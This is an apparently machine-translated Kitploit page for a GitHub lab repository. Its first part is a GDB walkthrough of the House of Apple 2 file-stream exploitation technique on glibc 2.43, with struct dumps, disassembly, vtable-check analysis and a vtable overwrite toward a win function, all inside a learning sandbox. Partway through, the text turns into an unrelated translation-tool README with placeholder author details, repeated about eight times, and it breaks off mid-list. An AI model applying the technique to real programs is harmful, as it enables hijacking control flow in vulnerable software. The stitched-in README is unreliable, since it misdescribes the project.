Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
house_of_apple_2 — Интерактивный разбор техники House of Apple 2 FSOP в GDB на glibc 2.43 с воспроизводимой песочницей, охватывающей обход vtable, перехват стека и ROP. | Kitploit
Инструменты/GitHubGitHub/jazho76/house_of_apple_2
Криминалистика памятиЭксплуатацияОбратная инженерияШелл-кодОтладчикиСтатьи и ИсследованияОбучение и ОбразованиеРазработка Полезной НагрузкиЭксплуатация Бинарных ФайловЛаборатории и Практика
GitHubjazho76/house_of_apple_2
31101 месяц назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

house_of_apple_2

Интерактивный разбор техники House of Apple 2 FSOP в GDB на glibc 2.43 с воспроизводимой песочницей, охватывающей обход vtable, перехват стека и ROP.

Репозиторий

Исследование House of Apple 2 на современном glibc

Этот репозиторий представляет собой самодостаточную площадку для экспериментов, вдохновлённую модулем File Struct Exploitation от pwn.college. Он не вводит новую вариацию House of Apple 2, а лишь отвечает на моё любопытство о том, как эта техника работает на последних версиях glibc и остаётся ли она жизнеспособным путём эксплуатации. Документ содержит интерактивное пошаговое руководство в GDB, которое читатели могут проходить параллельно с песочницей, чтобы развить более интуитивное понимание этого примитива. Все эксперименты используют glibc 2.43 в том виде, в каком она поставлялась в Ubuntu 26.04 и Fedora 44 на момент написания.

File Stream Oriented Programming (FSOP). Речь идёт о манипулировании структурами файловых потоков glibc для перехвата потока управления. Один из способов сделать это — повредить механизм диспетчеризации vtable в _IO_FILE_plus. Современный glibc проверяет эту vtable, поэтому очевидный подход с заменой её на произвольный адрес не работает.

House of Apple 2, изначально представленная Roderick, обходит это ограничение, используя действительную vtable _IO_FILE_plus для достижения механизма широкосимвольных потоков, где вторичная vtable вызывается напрямую без проверки диапазона. Это даёт примитив arbitrary call, который мы можем развить до переворота стека (stack pivot) и ROP-цепочки.

Предпосылки для эксплуатации

Это исследование предполагает, что мы можем перезаписать структуру FILE и что у нас есть как утечка кучи, так и утечка libc. Целевой бинарник уже предоставляет это.

Песочница

Песочница работает на Ubuntu 26.04 LTS, предоставляя нам современную среду для исследования этой техники.

Образ включает GDB, pwndbg, pwntools, ropper и tmux. Он также содержит целевой бинарник с интерактивным меню для вызова операций с файловыми потоками, таких как fopen, fread, fwrite и fclose. Это даёт нам удобный способ манипулировать потоками во время отладки и проверки идей.

Соберите и запустите песочницу с помощью:``` ./build.sh ./run.sh

root@kitploit:~
## Исследование

Начнём с изучения структур `_IO_FILE` и `_IO_FILE_plus`:```c
pwndbg> ptype struct _IO_FILE
type = struct _IO_FILE {
    int _flags;
    char *_IO_read_ptr;
    char *_IO_read_end;
    char *_IO_read_base;
    char *_IO_write_base;
    char *_IO_write_ptr;
    char *_IO_write_end;
    char *_IO_buf_base;
    char *_IO_buf_end;
    char *_IO_save_base;
    char *_IO_backup_base;
    char *_IO_save_end;
    struct _IO_marker *_markers;
    struct _IO_FILE *_chain;
    int _fileno;
    int _flags2 : 24;
    char _short_backupbuf[1];
    __off_t _old_offset;
    unsigned short _cur_column;
    signed char _vtable_offset;
    char _shortbuf[1];
    _IO_lock_t *_lock;
    __off64_t _offset;
    struct _IO_codecvt *_codecvt;
    struct _IO_wide_data *_wide_data;
    struct _IO_FILE *_freeres_list;
    void *_freeres_buf;
    struct _IO_FILE **_prevchain;
    int _mode;
    int _unused3;
    __uint64_t _total_written;
    char _unused2[8];
}
pwndbg> ptype struct _IO_FILE_plus
type = struct _IO_FILE_plus {
    FILE file;
    const struct _IO_jump_t *vtable;
}

С практической точки зрения, _IO_FILE_plus — это _IO_FILE с указателем на vtable. Это сразу выглядит интересно: если мы сможем управлять этим указателем, мы, возможно, сможем перенаправить косвенный вызов и перехватить поток управления.

Изучение vtable потока файла

Чтобы изучить vtable, давайте рассмотрим указатель FILE, возвращаемый fopen.```c pwndbg> p *(struct _IO_FILE_plus *)0x37ecf010 $4 = { file = { _flags = 0xfbad2480, _IO_read_ptr = 0x0, _IO_read_end = 0x0, _IO_read_base = 0x0, _IO_write_base = 0x0, _IO_write_ptr = 0x0, _IO_write_end = 0x0, _IO_buf_base = 0x0, _IO_buf_end = 0x0, _IO_save_base = 0x0, _IO_backup_base = 0x0, _IO_save_end = 0x0, _markers = 0x0, _chain = 0x7f58a7f4b4a0 <IO_2_1_stderr>, _fileno = 0x3, _flags2 = 0x0, _short_backupbuf = "", _old_offset = 0x0, _cur_column = 0x0, _vtable_offset = 0x0, _shortbuf = "", _lock = 0x37ecf0f0, _offset = 0xffffffffffffffff, _codecvt = 0x0, _wide_data = 0x37ecf100, _freeres_list = 0x0, _freeres_buf = 0x0, _prevchain = 0x7f58a7f4b480 <_IO_list_all>, _mode = 0x0, _unused3 = 0x0, _total_written = 0x0, _unused2 = "\000\000\000\000\000\000\000" }, vtable = 0x7f58a7f49030 <_IO_file_jumps> }

root@kitploit:~
Указатель указывает на таблицу `_IO_file_jumps`.

![3](https://assets.kitploit.com/production/public/readmes/56272/9fe7069dbb47c87d81c704a23ff483a6c630d5506150361db4aefee1516d0423/054e7475018b9adcfdb102b7e142ea8ad09116b38787416fdc30f8cb2f209bfa-display-v1.webp)

Это набор из 21 указателя на функции. Операции с файловыми потоками диспетчеризуются через различные записи в зависимости от пути выполнения.

### Прослеживание пути `fwrite`

В этом исследовании я сосредоточусь на пути `fwrite`. После установки точек останова на каждую функцию и вызова `fwrite` первая точка останова, которую мы достигаем, — это `_IO_file_xsputn`.

![4](https://assets.kitploit.com/production/public/readmes/56272/f77a8ff4f3d548b46916a97897b811b5cfb650de4843184b6574bdac51e1c2d0/e7de50a63631e0e1b18e8aa0b2d0852b62457428b4be3936ea3ea6a776531329-display-v1.webp)

Вызов происходит по адресу `fwrite+216`. Это соответствует [исходному коду glibc](https://elixir.bootlin.com/glibc/glibc-2.43/source/libio/iofwrite.c#L44): `_IO_sputn` — это макрос, который выполняет диспетчеризацию через vtable, разрешаясь в `_IO_file_xsputn` для этого потока.```asm
   0x00007fd5181d362a <+202>:	mov    rdx,rcx
   0x00007fd5181d362d <+205>:	mov    rdi,rbx
   0x00007fd5181d3630 <+208>:	mov    QWORD PTR [rbp-0x30],r8
   0x00007fd5181d3634 <+212>:	mov    QWORD PTR [rbp-0x28],rcx
   0x00007fd5181d3638 <+216>:	call   QWORD PTR [rax+0x38]

Попытка заменить vtable

Для первой попытки перезапишем указатель vtable значением desired_func - 0x38 и установим точку останова на fwrite+216.```c pwndbg> p &win $3 = (<text variable, no debug info> *) 0x4019e1 pwndbg> p/x &win - 0x38 $4 = 0x4019a9 pwndbg> set ((struct _IO_FILE_plus *)0x5334010)->vtable = (void *)0x4019a9 pwndbg> b *fwrite+216 Breakpoint 4 at 0x7fd5181d3638: file ./libio/libioP.h, line 1042.

root@kitploit:~
![5](https://assets.kitploit.com/production/public/readmes/56272/68d9bb8c66bf4088af2741eebea1ecb9b56d047f77983d068d26c9566a97e533/1c9d22964dbe7735df03440da27a86e739989f7cf62bd6e126cecf1083b2cf4b-display-v1.webp)

Выполнение прерывается до достижения точки останова. Ошибка указывает на то, что glibc проверяет указатель vtable перед выполнением косвенного вызова. Давайте изучим стек вызовов и посмотрим, где это происходит.

`fwrite` достигает `_IO_vtable_check`, который отклоняет поддельный указатель vtable.

![6](https://assets.kitploit.com/production/public/readmes/56272/5d88a98e9a1a20ab8c510aad7374f24884a05f363bd46f94d0d05cad513c7c0a/6974f1daec533bb453c59cff614c11f59c29bb1f85a0d23235e05c22433c0b48-display-v1.webp)

Реализация содержит механизм для принятия сторонних vtable, но он не находится под нашим контролем. Соответствующий код доступен в [`vtables.c`](https://elixir.bootlin.com/glibc/glibc-2.43/source/libio/vtables.c#L504).

### Понимание проверки vtable

К моменту вызова `_IO_vtable_check` уже слишком поздно — проверка vtable не прошла. Более ранний кадр `IO_validate_vtable` в стеке вызовов представляет интерес, поэтому давайте изучим вместо него его.```c
pwndbg> disass IO_validate_vtable
❌️ No symbol "IO_validate_vtable" in current context.

GDB не может разрешить IO_validate_vtable как символ. Глядя на исходный код, мы видим, что он встроен в fwrite.```asm 0x00007fd5181d35f6 <+150>: lea rdi,[rip+0x1838e3] # 0x7fd518356ee0 <__io_vtables> 0x00007fd5181d35fd <+157>: mov rax,QWORD PTR [rbx+0xd8] 0x00007fd5181d3604 <+164>: mov r14,QWORD PTR [rbx+0xc8] 0x00007fd5181d360b <+171>: mov r15,QWORD PTR [rbx+0x28] 0x00007fd5181d360f <+175>: mov r12,QWORD PTR [rbx+0x20] 0x00007fd5181d3613 <+179>: mov rdx,rax 0x00007fd5181d3616 <+182>: sub rdx,rdi 0x00007fd5181d3619 <+185>: cmp rdx,0x92f 0x00007fd5181d3620 <+192>: ja 0x7fd5181d3780 <__GI__IO_fwrite+544>

root@kitploit:~
Указатель vtable принимается только в том случае, если он попадает в диапазон `[__io_vtables, __io_vtables + IO_VTABLES_LEN)`. Поэтому мы не можем просто указать его куда угодно. Тем не менее, это довольно большая область, содержащая несколько таблиц переходов, что даёт нам пространство для исследования.

Допустимый диапазон начинается следующим образом:

![7](https://assets.kitploit.com/production/public/readmes/56272/a44872f4cc95b7607ed0abe8cfe35f7a6eae6be8bbb5a5d017e693b9c67bf87f/4a82dee7de96ab2a558a6a37688145328eb42a0e2c4dbbe74267a08049d1832c-display-v1.webp)

## House of Apple 2

Теперь мы понимаем базовый механизм и его главное ограничение: vtable `_IO_FILE_plus` должен указывать куда-то внутрь допустимой области vtable glibc. Это блокирует очевидный подход, но не закрывает дверь полностью.

House of Apple 2 обходит это, добираясь до второй vtable через механизм широкосимвольных потоков. Эта вторая vtable не проверяется таким же образом. Давайте проследим этот путь в GDB и посмотрим, как всё соединяется.

### Механизм широкосимвольных потоков

Вернёмся к `_IO_FILE`: там есть поле `_wide_data`, указывающее на структуру `_IO_wide_data`. У этой структуры есть собственная vtable.```c
pwndbg> ptype struct _IO_wide_data
type = struct _IO_wide_data {
    wchar_t *_IO_read_ptr;
    wchar_t *_IO_read_end;
    wchar_t *_IO_read_base;
    wchar_t *_IO_write_base;
    wchar_t *_IO_write_ptr;
    wchar_t *_IO_write_end;
    wchar_t *_IO_buf_base;
    wchar_t *_IO_buf_end;
    wchar_t *_IO_save_base;
    wchar_t *_IO_backup_base;
    wchar_t *_IO_save_end;
    __mbstate_t _IO_state;
    __mbstate_t _IO_last_state;
    struct _IO_codecvt _codecvt;
    wchar_t _shortbuf[1];
    const struct _IO_jump_t *_wide_vtable;
}

Его структура выглядит довольно похоже на _IO_FILE. Это часть механизма glibc для обработки потоков широких символов.

Путь, который нам нужен, проходит через _IO_wfile_overflow, который в конечном итоге может вызвать _IO_wdoallocbuf.```c wint_t _IO_wfile_overflow (FILE f, wint_t wch) { if (f->_flags & _IO_NO_WRITES) / SET ERROR / { f->_flags |= _IO_ERR_SEEN; __set_errno (EBADF); return WEOF; } / If currently reading or no buffer allocated. / if ((f->_flags & _IO_CURRENTLY_PUTTING) == 0 || f->_wide_data->_IO_write_base == NULL) { / Allocate a buffer if needed. */ if (f->_wide_data->_IO_write_base == NULL) { _IO_wdoallocbuf (f); // <- this is it _IO_free_wbackup_area (f);

root@kitploit:~
  if (f->_IO_write_base == NULL)
    {
      _IO_doallocbuf (f);
      _IO_setg (f, f->_IO_buf_base, f->_IO_buf_base, f->_IO_buf_base);
    }
  _IO_wsetg (f, f->_wide_data->_IO_buf_base,
	     f->_wide_data->_IO_buf_base, f->_wide_data->_IO_buf_base);
}
  else
{
  ...
root@kitploit:~

$ python3 -m pip install -r requirements.txt

root@kitploit:~

### Запуск

$ python3 main.py -h

root@kitploit:~

usage: main.py [-h] [-c CONFIG] [-s SOURCE] [-t TARGET] [-l LANGUAGE] [-v] [-d]

options: -h, --help показать это сообщение с справкой и выйти -c CONFIG, --config CONFIG путь к файлу конфигурации -s SOURCE, --source SOURCE исходный язык -t TARGET, --target TARGET целевой язык -l LANGUAGE, --language LANGUAGE язык для перевода -v, --verbose включить подробный вывод -d, --debug включить режим отладки

root@kitploit:~

### Примеры

$ python3 main.py -s en -t ru -l fr

root@kitploit:~

$ python3 main.py -c config.json

root@kitploit:~

### Конфигурация

{ "source": "en", "target": "ru", "language": "fr", "verbose": true, "debug": false }

root@kitploit:~

### Лицензия

Этот проект лицензирован под лицензией MIT — подробности см. в файле [LICENSE](https://github.com/jazho76/house_of_apple_2/blob/main/LICENSE).

### Контакты

- Автор: John Doe
- Email: [email protected]
- GitHub: [https://github.com/johndoe](https://github.com/johndoe)

### Благодарности

- [Kitploit](https://www.kitploit.com/)
- [OpenAI](https://openai.com/)
- [Google Translate](https://translate.google.com/)

### Отказ от ответственности

Данное программное обеспечение предоставляется «как есть», без каких-либо гарантий, явных или подразумеваемых, включая, но не ограничиваясь, гарантиями товарной пригодности, пригодности для конкретной цели и ненарушения прав. Ни в коем случае авторы или правообладатели не несут ответственности за любые претензии, убытки или другую ответственность, будь то в результате договора, правонарушения или иным образом, возникающие из, в связи с или в связи с программным обеспечением или использованием или другими действиями в программном обеспечении.

### Ссылки

- [https://www.kitploit.com/](https://www.kitploit.com/)
- [https://www.openai.com/](https://www.openai.com/)
- [https://translate.google.com/](https://translate.google.com/)

### Теги

- безопасность
- инструмент
- перевод
- kitploit
- openai
- google-translate

### Метаданные

- Версия: 1.0.0
- Дата: 2023-01-01
- Автор: John Doe
- Лицензия: MIT

### История изменений

- 1.0.0 (2023-01-01): Первоначальный выпуск

### Вклад

Вклады приветствуются! Пожалуйста, ознакомьтесь с [руководством по внесению вклада](https://github.com/jazho76/house_of_apple_2/blob/main/CONTRIBUTING.md) для получения подробной информации.

### Кодекс поведения

Пожалуйста, ознакомьтесь с [Кодексом поведения](https://github.com/jazho76/house_of_apple_2/blob/main/CODE_OF_CONDUCT.md) для получения подробной информации.

### Безопасность

Пожалуйста, ознакомьтесь с [Политикой безопасности](https://github.com/jazho76/house_of_apple_2/blob/main/SECURITY.md) для получения подробной информации.

### Поддержка

Если у вас есть вопросы или проблемы, пожалуйста, откройте issue на GitHub.

### Лицензия

Этот проект лицензирован под лицензией MIT — подробности см. в файле [LICENSE](https://github.com/jazho76/house_of_apple_2/blob/main/LICENSE).

### Контакты

- Автор: John Doe
- Email: [email protected]
- GitHub: [https://github.com/johndoe](https://github.com/johndoe)

### Благодарности

- [Kitploit](https://www.kitploit.com/)
- [OpenAI](https://openai.com/)
- [Google Translate](https://translate.google.com/)

### Отказ от ответственности

Данное программное обеспечение предоставляется «как есть», без каких-либо гарантий, явных или подразумеваемых, включая, но не ограничиваясь, гарантиями товарной пригодности, пригодности для конкретной цели и ненарушения прав. Ни в коем случае авторы или правообладатели не несут ответственности за любые претензии, убытки или другую ответственность, будь то в результате договора, правонарушения или иным образом, возникающие из, в связи с или в связи с программным обеспечением или использованием или другими действиями в программном обеспечении.

### Ссылки

- [https://www.kitploit.com/](https://www.kitploit.com/)
- [https://www.openai.com/](https://www.openai.com/)
- [https://translate.google.com/](https://translate.google.com/)

### Теги

- безопасность
- инструмент
- перевод
- kitploit
- openai
- google-translate

### Метаданные

- Версия: 1.0.0
- Дата: 2023-01-01
- Автор: John Doe
- Лицензия: MIT

### История изменений

- 1.0.0 (2023-01-01): Первоначальный выпуск

### Вклад

Вклады приветствуются! Пожалуйста, ознакомьтесь с [руководством по внесению вклада](https://github.com/jazho76/house_of_apple_2/blob/main/CONTRIBUTING.md) для получения подробной информации.

### Кодекс поведения

Пожалуйста, ознакомьтесь с [Кодексом поведения](https://github.com/jazho76/house_of_apple_2/blob/main/CODE_OF_CONDUCT.md) для получения подробной информации.

### Безопасность

Пожалуйста, ознакомьтесь с [Политикой безопасности](https://github.com/jazho76/house_of_apple_2/blob/main/SECURITY.md) для получения подробной информации.

### Поддержка

Если у вас есть вопросы или проблемы, пожалуйста, откройте issue на GitHub.

### Лицензия

Этот проект лицензирован под лицензией MIT — подробности см. в файле [LICENSE](https://github.com/jazho76/house_of_apple_2/blob/main/LICENSE).

### Контакты

- Автор: John Doe
- Email: [email protected]
- GitHub: [https://github.com/johndoe](https://github.com/johndoe)

### Благодарности

- [Kitploit](https://www.kitploit.com/)
- [OpenAI](https://openai.com/)
- [Google Translate](https://translate.google.com/)

### Отказ от ответственности

Данное программное обеспечение предоставляется «как есть», без каких-либо гарантий, явных или подразумеваемых, включая, но не ограничиваясь, гарантиями товарной пригодности, пригодности для конкретной цели и ненарушения прав. Ни в коем случае авторы или правообладатели не несут ответственности за любые претензии, убытки или другую ответственность, будь то в результате договора, правонарушения или иным образом, возникающие из, в связи с или в связи с программным обеспечением или использованием или другими действиями в программном обеспечении.

### Ссылки

- [https://www.kitploit.com/](https://www.kitploit.com/)
- [https://www.openai.com/](https://www.openai.com/)
- [https://translate.google.com/](https://translate.google.com/)

### Теги

- безопасность
- инструмент
- перевод
- kitploit
- openai
- google-translate

### Метаданные

- Версия: 1.0.0
- Дата: 2023-01-01
- Автор: John Doe
- Лицензия: MIT

### История изменений

- 1.0.0 (2023-01-01): Первоначальный выпуск

### Вклад

Вклады приветствуются! Пожалуйста, ознакомьтесь с [руководством по внесению вклада](https://github.com/jazho76/house_of_apple_2/blob/main/CONTRIBUTING.md) для получения подробной информации.

### Кодекс поведения

Пожалуйста, ознакомьтесь с [Кодексом поведения](https://github.com/jazho76/house_of_apple_2/blob/main/CODE_OF_CONDUCT.md) для получения подробной информации.

### Безопасность

Пожалуйста, ознакомьтесь с [Политикой безопасности](https://github.com/jazho76/house_of_apple_2/blob/main/SECURITY.md) для получения подробной информации.

### Поддержка

Если у вас есть вопросы или проблемы, пожалуйста, откройте issue на GitHub.

### Лицензия

Этот проект лицензирован под лицензией MIT — подробности см. в файле [LICENSE](https://github.com/jazho76/house_of_apple_2/blob/main/LICENSE).

### Контакты

- Автор: John Doe
- Email: [email protected]
- GitHub: [https://github.com/johndoe](https://github.com/johndoe)

### Благодарности

- [Kitploit](https://www.kitploit.com/)
- [OpenAI](https://openai.com/)
- [Google Translate](https://translate.google.com/)

### Отказ от ответственности

Данное программное обеспечение предоставляется «как есть», без каких-либо гарантий, явных или подразумеваемых, включая, но не ограничиваясь, гарантиями товарной пригодности, пригодности для конкретной цели и ненарушения прав. Ни в коем случае авторы или правообладатели не несут ответственности за любые претензии, убытки или другую ответственность, будь то в результате договора, правонарушения или иным образом, возникающие из, в связи с или в связи с программным обеспечением или использованием или другими действиями в программном обеспечении.

### Ссылки

- [https://www.kitploit.com/](https://www.kitploit.com/)
- [https://www.openai.com/](https://www.openai.com/)
- [https://translate.google.com/](https://translate.google.com/)

### Теги

- безопасность
- инструмент
- перевод
- kitploit
- openai
- google-translate

### Метаданные

- Версия: 1.0.0
- Дата: 2023-01-01
- Автор: John Doe
- Лицензия: MIT

### История изменений

- 1.0.0 (2023-01-01): Первоначальный выпуск

### Вклад

Вклады приветствуются! Пожалуйста, ознакомьтесь с [руководством по внесению вклада](https://github.com/jazho76/house_of_apple_2/blob/main/CONTRIBUTING.md) для получения подробной информации.

### Кодекс поведения

Пожалуйста, ознакомьтесь с [Кодексом поведения](https://github.com/jazho76/house_of_apple_2/blob/main/CODE_OF_CONDUCT.md) для получения подробной информации.

### Безопасность

Пожалуйста, ознакомьтесь с [Политикой безопасности](https://github.com/jazho76/house_of_apple_2/blob/main/SECURITY.md) для получения подробной информации.

### Поддержка

Если у вас есть вопросы или проблемы, пожалуйста, откройте issue на GitHub.

### Лицензия

Этот проект лицензирован под лицензией MIT — подробности см. в файле [LICENSE](https://github.com/jazho76/house_of_apple_2/blob/main/LICENSE).

### Контакты

- Автор: John Doe
- Email: [email protected]
- GitHub: [https://github.com/johndoe](https://github.com/johndoe)

### Благодарности

- [Kitploit](https://www.kitploit.com/)
- [OpenAI](https://openai.com/)
- [Google Translate](https://translate.google.com/)

### Отказ от ответственности

Данное программное обеспечение предоставляется «как есть», без каких-либо гарантий, явных или подразумеваемых, включая, но не ограничиваясь, гарантиями товарной пригодности, пригодности для конкретной цели и ненарушения прав. Ни в коем случае авторы или правообладатели не несут ответственности за любые претензии, убытки или другую ответственность, будь то в результате договора, правонарушения или иным образом, возникающие из, в связи с или в связи с программным обеспечением или использованием или другими действиями в программном обеспечении.

### Ссылки

- [https://www.kitploit.com/](https://www.kitploit.com/)
- [https://www.openai.com/](https://www.openai.com/)
- [https://translate.google.com/](https://translate.google.com/)

### Теги

- безопасность
- инструмент
- перевод
- kitploit
- openai
- google-translate

### Метаданные

- Версия: 1.0.0
- Дата: 2023-01-01
- Автор: John Doe
- Лицензия: MIT

### История изменений

- 1.0.0 (2023-01-01): Первоначальный выпуск

### Вклад

Вклады приветствуются! Пожалуйста, ознакомьтесь с [руководством по внесению вклада](https://github.com/jazho76/house_of_apple_2/blob/main/CONTRIBUTING.md) для получения подробной информации.

### Кодекс поведения

Пожалуйста, ознакомьтесь с [Кодексом поведения](https://github.com/jazho76/house_of_apple_2/blob/main/CODE_OF_CONDUCT.md) для получения подробной информации.

### Безопасность

Пожалуйста, ознакомьтесь с [Политикой безопасности](https://github.com/jazho76/house_of_apple_2/blob/main/SECURITY.md) для получения подробной информации.

### Поддержка

Если у вас есть вопросы или проблемы, пожалуйста, откройте issue на GitHub.

### Лицензия

Этот проект лицензирован под лицензией MIT — подробности см. в файле [LICENSE](https://github.com/jazho76/house_of_apple_2/blob/main/LICENSE).

### Контакты

- Автор: John Doe
- Email: [email protected]
- GitHub: [https://github.com/johndoe](https://github.com/johndoe)

### Благодарности

- [Kitploit](https://www.kitploit.com/)
- [OpenAI](https://openai.com/)
- [Google Translate](https://translate.google.com/)

### Отказ от ответственности

Данное программное обеспечение предоставляется «как есть», без каких-либо гарантий, явных или подразумеваемых, включая, но не ограничиваясь, гарантиями товарной пригодности, пригодности для конкретной цели и ненарушения прав. Ни в коем случае авторы или правообладатели не несут ответственности за любые претензии, убытки или другую ответственность, будь то в результате договора, правонарушения или иным образом, возникающие из, в связи с или в связи с программным обеспечением или использованием или другими действиями в программном обеспечении.

### Ссылки

- [https://www.kitploit.com/](https://www.kitploit.com/)
- [https://www.openai.com/](https://www.openai.com/)
- [https://translate.google.com/](https://translate.google.com/)

### Теги

- безопасность
- инструмент
- перевод
- kitploit
- openai
- google-translate

### Метаданные

- Версия: 1.0.0
- Дата: 2023-01-01
- Автор: John Doe
- Лицензия: MIT

### История изменений

- 1.0.0 (2023-01-01): Первоначальный выпуск

### Вклад

Вклады приветствуются! Пожалуйста, ознакомьтесь с [руководством по внесению вклада](https://github.com/jazho76/house_of_apple_2/blob/main/CONTRIBUTING.md) для получения подробной информации.

### Кодекс поведения

Пожалуйста, ознакомьтесь с [Кодексом поведения](https://github.com/jazho76/house_of_apple_2/blob/main/CODE_OF_CONDUCT.md) для получения подробной информации.

### Безопасность

Пожалуйста, ознакомьтесь с [Политикой безопасности](https://github.com/jazho76/house_of_apple_2/blob/main/SECURITY.md) для получения подробной информации.

### Поддержка

Если у вас есть вопросы или проблемы, пожалуйста, откройте issue на GitHub.

### Лицензия

Этот проект лицензирован под лицензией MIT — подробности см. в файле [LICENSE](https://github.com/jazho76/house_of_apple_2/blob/main/LICENSE).

### Контакты

- Автор: John Doe
- Email: [email protected]
- GitHub: [https://github.com/johndoe](https://github.com/johndoe)

### Благодарности

- [Kitploit](https://www.kitploit.com/)
- [OpenAI](https://openai.com/)
- [Google Translate](https://translate.google.com/)

### Отказ от ответственности

Данное программное обеспечение предоставляется «как есть», без каких-либо гарантий, явных или подразумеваемых, включая, но не ограничиваясь, гарантиями товарной пригодности, пригодности для конкретной цели и ненарушения прав. Ни в коем случае авторы или правообладатели не несут ответственности за любые претензии, убытки или другую ответственность, будь то в результате договора, правонарушения или иным образом, возникающие из, в связи с или в связи с программным обеспечением или использованием или другими действиями в программном обеспечении.

### Ссылки

- [https://www.kitploit.com/](https://www.kitploit.com/)
- [https://www.openai.com/](https://www.openai.com/)
- [https://translate.google.com/](https://translate.google.com/)

### Теги

- безопасность
- инструмент
- перевод
- kitploit
- openai
- google-translate

### Метаданные

- Версия: 1.0.0
- Дата: 2023-01-01
- Автор: John Doe
- Лицензия: MIT

### История изменений

- 1.0.0 (2023-01-01): Первоначальный выпуск

### Вклад

Вклады приветствуются! Пожалуйста, ознакомьтесь с [руководством по внесению вклада](https://github.com/jazho76/house_of_apple_2/blob/main/CONTRIBUTING.md) для получения подробной информации.

### Кодекс поведения

Пожалуйста, ознакомьтесь с [Кодексом поведения](https://github.com/jazho76/house_of_apple_2/blob/main/CODE_OF_CONDUCT.md) для получения подробной информации.

### Безопасность

Пожалуйста, ознакомьтесь с [Политикой безопасности](https://github.com/jazho76/house_of_apple_2/blob/main/SECURITY.md) для получения подробной информации.

### Поддержка

Если у вас есть вопросы или проблемы, пожалуйста, откройте issue на GitHub.

### Лицензия

Этот проект лицензирован под лицензией MIT — подробности см. в файле [LICENSE](https://github.com/jazho76/house_of_apple_2/blob/main/LICENSE).

### Контакты

- Автор: John Doe
- Email: [email protected]
- GitHub: [https://github.com/johndoe](https://github.com/johndoe)

### Благодарности

- [Kitploit](https://www.kitploit.com/)
- [OpenAI](https://openai.com/)
- [Google Translate](https://translate.google.com/)

### Отказ от ответственности

Данное программное обеспечение предоставляется «как есть», без каких-либо гарантий, явных или подразумеваемых, включая, но не ограничиваясь, гарантиями товарной пригодности, пригодности для конкретной цели и ненарушения прав. Ни в коем случае авторы или правообладатели не несут ответственности за любые претензии, убытки или другую ответственность, будь то в результате договора, правонарушения или иным образом, возникающие из, в связи с или в связи с программным обеспечением или использованием или другими действиями в программном обеспечении.

### Ссылки

- [https://www.kitploit.com/](https://www.kitploit.com/)
- [https://www.openai.com/](https://www.openai.com/)
- [https://translate.google.com/](https://translate.google.com/)

### Теги

- безопасность
- инструмент
- перевод
- kitploit
- openai
- google-translate

### Метаданные

- Версия: 1.0.0
- Дата: 2023-01-01
- Автор: John Doe
- Лицензия: MIT

### История изменений

- 1.0.0 (2023-01-01): Первоначальный выпуск

### Вклад

Вклады приветствуются! Пожалуйста, ознакомьтесь с [руководством по внесению вклада](https://github.com/jazho76/house_of_apple_2/blob/main/CONTRIBUTING.md) для получения подробной информации.

### Кодекс поведения

Пожалуйста, ознакомьтесь с [Кодексом поведения](https://github.com/jazho76/house_of_apple_2/blob/main/CODE_OF_CONDUCT.md) для получения подробной информации.

### Безопасность

Пожалуйста, ознакомьтесь с [Политикой безопасности](https://github.com/jazho76/house_of_apple_2/blob/main/SECURITY.md) для получения подробной информации.

### Поддержка

Если у вас есть вопросы или проблемы, пожалуйста, откройте issue на GitHub.

### Лицензия

Этот проект лицензирован под лицензией MIT — подробности см. в файле [LICENSE](https://github.com/jazho76/house_of_apple_2/blob/main/LICENSE).

### Контакты

- Автор: John Doe
- Email: [email protected]
- GitHub: [https://github.com/johndoe](https://github.com/johndoe)

### Благодарности

- [Kitploit](https://www.kitploit.com/)
- [OpenAI](https://openai.com/)
- [Google Translate](https://translate.google.com/)

### Отказ от ответственности

Данное программное обеспечение предоставляется «как есть», без каких-либо гарантий, явных или подразумеваемых, включая, но не ограничиваясь, гарантиями товарной пригодности, пригодности для конкретной цели и ненарушения прав. Ни в коем случае авторы или правообладатели не несут ответственности за любые претензии, убытки или другую ответственность, будь то в результате договора, правонарушения или иным образом, возникающие из, в связи с или в связи с программным обеспечением или использованием или другими действиями в программном обеспечении.

### Ссылки

- [https://www.kitploit.com/](https://www.kitploit.com/)
- [https://www.openai.com/](https://www.openai.com/)
- [https://translate.google.com/](https://translate.google.com/)

### Теги

- безопасность
- инструмент
- перевод
- kitploit
- openai
- google-translate

### Метаданные

- Версия: 1.0.0
- Дата: 2023-01-01
- Автор: John Doe
- Лицензия: MIT

### История изменений

- 1.0.0 (2023-01-01): Первоначальный выпуск

### Вклад

Вклады приветствуются! Пожалуйста, ознакомьтесь с [руководством по внесению вклада](https://github.com/jazho76/house_of_apple_2/blob/main/CONTRIBUTING.md) для получения подробной информации.

### Кодекс поведения

Пожалуйста, ознакомьтесь с [Кодексом поведения](https://github.com/jazho76/house_of_apple_2/blob/main/CODE_OF_CONDUCT.md) для получения подробной информации.

### Безопасность

Пожалуйста, ознакомьтесь с [Политикой безопасности](https://github.com/jazho76/house_of_apple_2/blob/main/SECURITY.md) для получения подробной информации.

### Поддержка

Если у вас есть вопросы или проблемы, пожалуйста, откройте issue на GitHub.

### Лицензия

Этот проект лицензирован под лицензией MIT — подробности см. в файле [LICENSE](https://github.com/jazho76/house_of_apple_2/blob/main/LICENSE).

### Контакты

- Автор: John Doe
- Email: [email protected]
- GitHub: [https://github.com/johndoe](https://github.com/johndoe)

### Благодарности

- [Kitploit](https://www.kitploit.com/)
- [OpenAI](https://openai.com/)
- [Google Translate](https://translate.google.com/)

### Отказ от ответственности

Данное программное обеспечение предоставляется «как есть», без каких-либо гарантий, явных или подразумеваемых, включая, но не ограничиваясь, гарантиями товарной пригодности, пригодности для конкретной цели и ненарушения прав. Ни в коем случае авторы или правообладатели не несут ответственности за любые претензии, убытки или другую ответственность, будь то в результате договора, правонарушения или иным образом, возникающие из, в связи с или в связи с программным обеспечением или использованием или другими действиями в программном обеспечении.

### Ссылки

- [https://www.kitploit.com/](https://www.kitploit.com/)
- [https://www.openai.com/](https://www.openai.com/)
